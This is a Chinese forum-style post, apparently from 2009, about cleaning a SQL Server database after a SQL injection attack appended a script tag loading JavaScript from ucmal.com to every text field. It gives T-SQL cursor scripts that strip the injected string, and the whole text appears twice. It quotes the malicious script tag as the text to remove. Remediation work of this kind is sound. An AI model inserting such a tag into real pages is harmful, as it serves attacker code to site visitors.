数据库被注入攻击 所有文本型字下段数据都被加了
2009-03-31 23:28
323 查看
数据库被注入攻击 所有文本型字下段数据都被加了 <script_src=http://ucmal.com/0.js> </script>
怎么删掉?
--sql 2000解决方法
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
--sql 2005 解决方法
declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
declare @str varchar(500)
--这里是你要替换的字符
set @str='<script_src=http://ucmal.com/0.js> </script>'
open table_cursor fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin
exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;
SQL注入专题 http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
怎么删掉?
--sql 2000解决方法
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
--sql 2005 解决方法
declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
declare @str varchar(500)
--这里是你要替换的字符
set @str='<script_src=http://ucmal.com/0.js> </script>'
open table_cursor fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin
exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;
SQL注入专题 http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
相关文章推荐
- 数据库被注入攻击 所有文本型字下段数据都被加了
- 数据库被注入攻击 所有文本型字下段数据都被加了
- 一段删除某个数据库下所有数据的好脚本
- 迁移数据库——复制所有数据文件,启动数据库
- 使用SQL语句清空数据库所有表的数据
- 保存数据库中其他对象不变,删除数据库中所有数据的实现方法
- 使用SQL语句清空数据库所有表的数据
- Oracle中查询当前数据库中的所有表空间和对应的数据文件语句命令
- Java遍历文件夹下所有文件,并且将数据保存在数据库当中
- SQL 读取数据库中所有数据表的所有约束类型名称和默认值
- 查询数据库里当前用户下的所有表的总共数据sql
- 【黑马程序员】连接数据库时的注入漏洞攻击
- 数据恢复-SQL被注入攻击程序的应对策略(ORA-16703)
- 在Mysql中怎样返回一个数据库的所有表名,列名数据类型备注
- TreeView实现显示数据库服务器上所有数据库与数据表
- 清空某个数据库中所有表的数据
- 从后台一次查询所有数据,在前端用js进行分页处理,不再次走数据库
- 远程跨服务器复制数据库的所有数据
- php新闻发布系统发布成功从数据库查询所有数据用表格显示出来03
- SQL SERVER 获取数据库中所有的表名及表中的数据量/查看每个数据库的链接打开数量